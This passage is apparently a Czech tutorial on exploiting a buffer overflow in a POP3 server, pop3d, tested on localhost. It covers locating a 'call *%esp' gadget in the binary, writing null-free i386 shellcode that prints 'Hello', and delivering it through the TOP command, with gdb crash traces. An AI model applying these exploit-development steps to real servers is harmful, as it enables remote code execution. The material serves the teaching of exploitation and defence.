Nalezení vhodné instrukce skoku
Každý program spuštěný na Linuxu má svůj virtuální adresní prostor a sám je v něm nahrán od adresy 0x08048000. To můžeme ověřit takto:
filip@nb:~/api$ cat /proc/`ps -a | grep pop3d | cut -d \ -f 1 | head -n 1`/maps
08048000-08051000 r-xp 00000000 03:01 8102989 /home/filip/api/Pop3/pop3d
08051000-08052000 rwxp 00009000 03:01 8102989 /home/filip/api/Pop3/pop3d
08052000-08074000 rwxp 08052000 00:00 0 [heap]
b7d34000-b7d35000 rwxp b7d34000 00:00 0
b7d35000-b7e5e000 r-xp 00000000 03:01 1111015 /lib/tls/libc-2.3.6.so
b7e5e000-b7e5f000 r-xp 00128000 03:01 1111015 /lib/tls/libc-2.3.6.so
b7e5f000-b7e62000 rwxp 00129000 03:01 1111015 /lib/tls/libc-2.3.6.so
b7e62000-b7e64000 rwxp b7e62000 00:00 0
b7e64000-b7e6e000 r-xp 00000000 03:01 3300389 /usr/local/lib/libgcc_s.so.1
b7e6e000-b7e6f000 rwxp 00009000 03:01 3300389 /usr/local/lib/libgcc_s.so.1
b7e6f000-b7e90000 r-xp 00000000 03:01 1110938 /lib/tls/libm-2.3.6.so
b7e90000-b7e92000 rwxp 00020000 03:01 1110938 /lib/tls/libm-2.3.6.so
b7e92000-b7f64000 r-xp 00000000 03:01 3300394 /usr/local/lib/libstdc++.so.6.0.6
b7f64000-b7f69000 rwxp 000d2000 03:01 3300394 /usr/local/lib/libstdc++.so.6.0.6
b7f69000-b7f6f000 rwxp b7f69000 00:00 0
b7f81000-b7f97000 r-xp 00000000 03:01 1111065 /lib/ld-2.3.6.so
b7f97000-b7f99000 rwxp 00015000 03:01 1111065 /lib/ld-2.3.6.so
bfa81000-bfa97000 rw-p bfa81000 00:00 0 [stack]
ffffe000-fffff000 ---p 00000000 00:00 0 [vdso]
Na ostatní úseky paměti se spolehnout nemůžeme, i knihovny se mapují pokaždé jinam.
Program pop3d spustíme v debuggeru gdb a dumpneme vybranou část paměti do souboru:
filip@nb:~/api/Pop3$ gdb
GNU gdb 6.3
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i486-slackware-linux".
(gdb) file pop3d
Reading symbols from /home/filip/api/Pop3/pop3d...done.
Using host libthread_db library "/lib/tls/libthread_db.so.1".
(gdb) set args 8888
(gdb) run
Starting program: /home/filip/api/Pop3/pop3d 8888
12.04.2006 13:24:59 - Running POP3 port=8888
^C
Program received signal SIGINT, Interrupt.
0xb7dcbe3c in accept () from /lib/tls/libc.so.6
(gdb) dump binary memory pop3.dump 0x08048000 0x08052000
V obrazu paměti, uloženém na disku, se pokusíme najít po sobě jdoucí byty FF E4 nebo FF D4
filip@nb:~/api/Pop3$ hexdump -C pop3.dump | grep "ff e4"
filip@nb:~/api/Pop3$ hexdump -C pop3.dump | grep "ff d4"
00007710 20 d0 ff ff d4 09 00 00 f4 d0 ff ff f4 09 00 00 | ÐÿÿÔ...ôÐÿÿô...|
V případě instrukce FF D4 (call %esp) máme štěstí a nacházíme ji na adrese 0x08048000 + 0x00007713 tedy 0x0804F713. Můžeme si to ověřit v gdb:
(gdb) x/i 0x0804f713
0x804f713 <_IO_stdin_used+3695>: call *%esp
Instrukci jsme nalezli přímo v kódovém segmentu programu, nezávisí tedy, na jaké distribuci linuxu, s jakým jádrem a jakou verzí knihovny glibc program běží.
Shellcode
Shellcode na Linuxu bude otázkou několika málo instrukcí. Mohli bychom například spustit jiný program (např. /bin/sh) systémovým voláním execve (v souboru /usr/include/asm/unistd.h se dozvídáme, že jeho číslo je 11, příkaz man execve nám poradí s parametry). Pro testovací účely vypíše náš shellcode pouze řetězec "Hello" a ukončí se. K tomu postačí systémová volání write (4) a exit (1). Program v i386 assembleru, který by to vykonal může vypadat takto:
SECTION .text
global _start
_start:
mov eax, 4 ;eax = 4 .. sys_write
mov ebx, 1 ;ebx = 1 .. piseme na stdout
mov ecx, msg ;do ecx uloz adresu retezce
mov edx, 6 ;edx = 6 .. nas retezec ma 6 znaku
int 0x80 ;systemove volani
mov eax, ebx ;eax = 1 .. sys_exit
xor ebx, ebx ;ebx = 0 .. navratova hodnota uspechu
int 0x80 ;ukonci program
SECTION .data
msg: db "Hello", 0x0a
Zkompilujeme, spustíme a uvidíme, že program skutečně vypisuje řetězec "Hello":
filip@nb:~/api$ nasm -o sc1.o -f elf asm1.txt
filip@nb:~/api$ ld -o sc1 -e _start sc1.o
filip@nb:~/api$ ./sc1
Hello
Programem objdump můžeme zkontrolovat strojový kód, problém rozhodně působí několik nulových bytů a fakt, že adresu řetězce jsme zadali absolutně:
filip@nb:~/api$ objdump -D sc1
sc1: file format elf32-i386
Disassembly of section .text:
08048080 <_start>:
8048080: b8 04 00 00 00 mov $0x4,%eax
8048085: bb 01 00 00 00 mov $0x1,%ebx
804808a: b9 9c 90 04 08 mov $0x804909c,%ecx
804808f: ba 06 00 00 00 mov $0x6,%edx
8048094: cd 80 int $0x80
8048096: 89 d8 mov %ebx,%eax
8048098: 31 db xor %ebx,%ebx
804809a: cd 80 int $0x80
Disassembly of section .data:
0804909c :
804909c: 48 dec %eax
804909d: 65 gs
804909e: 6c insb (%dx),%es:(%edi)
804909f: 6c insb (%dx),%es:(%edi)
80490a0: 6f outsl %ds:(%esi),(%dx)
80490a1: 0a .byte 0xa
Obou problémů se zbavíme a vytvoříme tento kód:
SECTION .text
;sem skocime instrukci CALL ESP
xor eax, eax
mov ecx, esp
add al, 0x25
add ecx, eax ;ecx = esp + 0x25 .. adresa retezce
xor eax, eax
mov ebx, eax
mov edx, eax
add al, 4 ;eax = 4 .. sys_write
inc ebx ;ebx = 1 .. piseme na stdout
add dl, 6 ;edx = 6 .. delka retezce
int 0x80 ;systemove volani - vypis
mov eax, ebx ;eax = 1 .. sys_exit
xor ebx, ebx ;ebx = 0 .. navratova hodnota uspechu
int 0x80 ;ukonci program
db "Hello", 10
Tento kód vyhovuje našim požadavkům.
filip@nb:~/api$ nasm -o sc2.o asm2.txt
filip@nb:~/api$ objdump -D -b binary -m i386 sc2.o
sc2.o: file format binary
Disassembly of section .data:
00000000 <.data>:
0: 66 31 c0 xor %ax,%ax
3: 66 89 e1 mov %sp,%cx
6: 04 25 add $0x25,%al
8: 66 01 c1 add %ax,%cx
b: 66 31 c0 xor %ax,%ax
e: 66 89 c3 mov %ax,%bx
11: 66 89 c2 mov %ax,%dx
14: 04 04 add $0x4,%al
16: 66 43 inc %bx
18: 80 c2 06 add $0x6,%dl
1b: cd 80 int $0x80
1d: 66 89 d8 mov %bx,%ax
20: 66 31 db xor %bx,%bx
23: cd 80 int $0x80
25: 48 dec %eax
26: 65 gs
27: 6c insb (%dx),%es:(%edi)
28: 6c insb (%dx),%es:(%edi)
29: 6f outsl %ds:(%esi),(%dx)
2a: 0a .byte 0xa
Nahrání shellcode přes POP3 protokol
Abychom řetězec s příkazem TOP a shellcodem pop3 serveru poslali, bude pohodlné napsat si k tomu krátkou aplikaci, protože posílat jednotlivé byty např. přes telnet by bylo náročné. Zdrojový kód tohoto "programu na jedno použití" je k nalezení zde. Program se spouští se dvěma argumenty, první je IP adresa, kde běží pop3d a druhým cílový port.
Aplikaci zkompilujeme a spustíme, podle výpisu gdb, ve kterém běží pop3d, nastane Segmentation fault kdesi ve funkci _IO_vfscanf_internal, která se volá z funkce sscanf a to ještě předtím, než program opustí námi infikovanou proceduru:
filip@nb:~/api/Pop3$ gdb
GNU gdb 6.3
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i486-slackware-linux".
(gdb) file pop3d
Reading symbols from /home/filip/api/Pop3/pop3d...done.
Using host libthread_db library "/lib/tls/libthread_db.so.1".
(gdb) set args 8888
(gdb) run
Starting program: /home/filip/api/Pop3/pop3d 8888
12.04.2006 14:54:25 - Running POP3 port=8888
12.04.2006 14:54:30 (1) - Connection accepted from: 127.0.0.1
12.04.2006 14:54:30 (1) - Authorized:
Program received signal SIGSEGV, Segmentation fault.
0xb7d50055 in _IO_vfscanf_internal () from /lib/tls/libc.so.6
(gdb) bt
#0 0xb7d50055 in _IO_vfscanf_internal () from /lib/tls/libc.so.6
#1 0xb7d5b2f9 in vsscanf () from /lib/tls/libc.so.6
#2 0xb7d565cb in sscanf () from /lib/tls/libc.so.6
#3 0x0804b96c in Pop::PopProcessCommand (this=0x38373635, cmd=0x8057739) at pop3/pop3.cpp:260
#4 0x34333276 in ?? ()
#5 0x38373635 in ?? ()
#6 0x08057739 in ?? ()
#7 0x08054141 in ?? ()
#8 0x0804f713 in typeinfo name for MsgList ()
#9 0x20202020 in ?? ()
#10 0x66c03166 in ?? ()
#11 0x2504e189 in ?? ()
#12 0x66c10166 in ?? ()
#13 0x8966c031 in ?? ()
#14 0xc28966c3 in ?? ()
#15 0x43660404 in ?? ()
#16 0xcd06c280 in ?? ()
#17 0xd8896680 in ?? ()
#18 0xcddb3166 in ?? ()
#19 0x6c654880 in ?? ()
#20 0x00006f6c in ?? ()
#21 0xb7f619ba in __libc_memalign () from /lib/ld-linux.so.2
Previous frame inner to this frame (corrupt stack?)
Funkce _IO_vfscanf_internal hledá v našem příkazu argumenty pro příkaz TOP, který jsme zadali, a z nějakého záhadného důvodu v implementaci glibc na našem řetězci havaruje. Tomu se můžeme vyhnout tak, že příkazu TOP nepošleme žádné smysluplné argumenty. V tomto případě havaruje pop3d prozměnu ve funkci vsnprintf, která se nám snaží sdělit, že jsme u příkazu TOP nezadali správně parametry:
(gdb) run
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/filip/api/Pop3/pop3d 8888
12.04.2006 15:00:12 - Running POP3 port=8888
12.04.2006 15:01:43 (2) - Connection accepted from: 127.0.0.1
12.04.2006 15:01:43 (2) - Authorized:
Program received signal SIGSEGV, Segmentation fault.
0xb7d5b7cd in vsnprintf () from /lib/tls/libc.so.6
(gdb) bt
#0 0xb7d5b7cd in vsnprintf () from /lib/tls/libc.so.6
#1 0xb7d43612 in snprintf () from /lib/tls/libc.so.6
#2 0x0804a989 in Pop::FormatReply (this=0x78773938, ok=false, msg1=0x804f7b3 "syntax error, TOP msgid lines", msg2=0x0,
msg3=0x0, msg4=0x0) at pop3/pop3.cpp:32
#3 0x0804b9a9 in Pop::PopProcessCommand (this=0x78773938, cmd=0x8053332) at pop3/pop3.cpp:262
#4 0x37363534 in ?? ()
#5 0x78773938 in ?? ()
#6 0x08053332 in ?? ()
#7 0x08054141 in ?? ()
#8 0x0804f713 in typeinfo name for MsgList ()
#9 0x20202020 in ?? ()
#10 0x66c03166 in ?? ()
#11 0x2504e189 in ?? ()
#12 0x66c10166 in ?? ()
#13 0x8966c031 in ?? ()
#14 0xc28966c3 in ?? ()
#15 0x43660404 in ?? ()
#16 0xcd06c280 in ?? ()
#17 0xd8896680 in ?? ()
#18 0xcddb3166 in ?? ()
#19 0x6c654880 in ?? ()
#20 0x00006f6c in ?? ()
#21 0xb7f5c9ba in __libc_memalign () from /lib/ld-linux.so.2
Previous frame inner to this frame (corrupt stack?)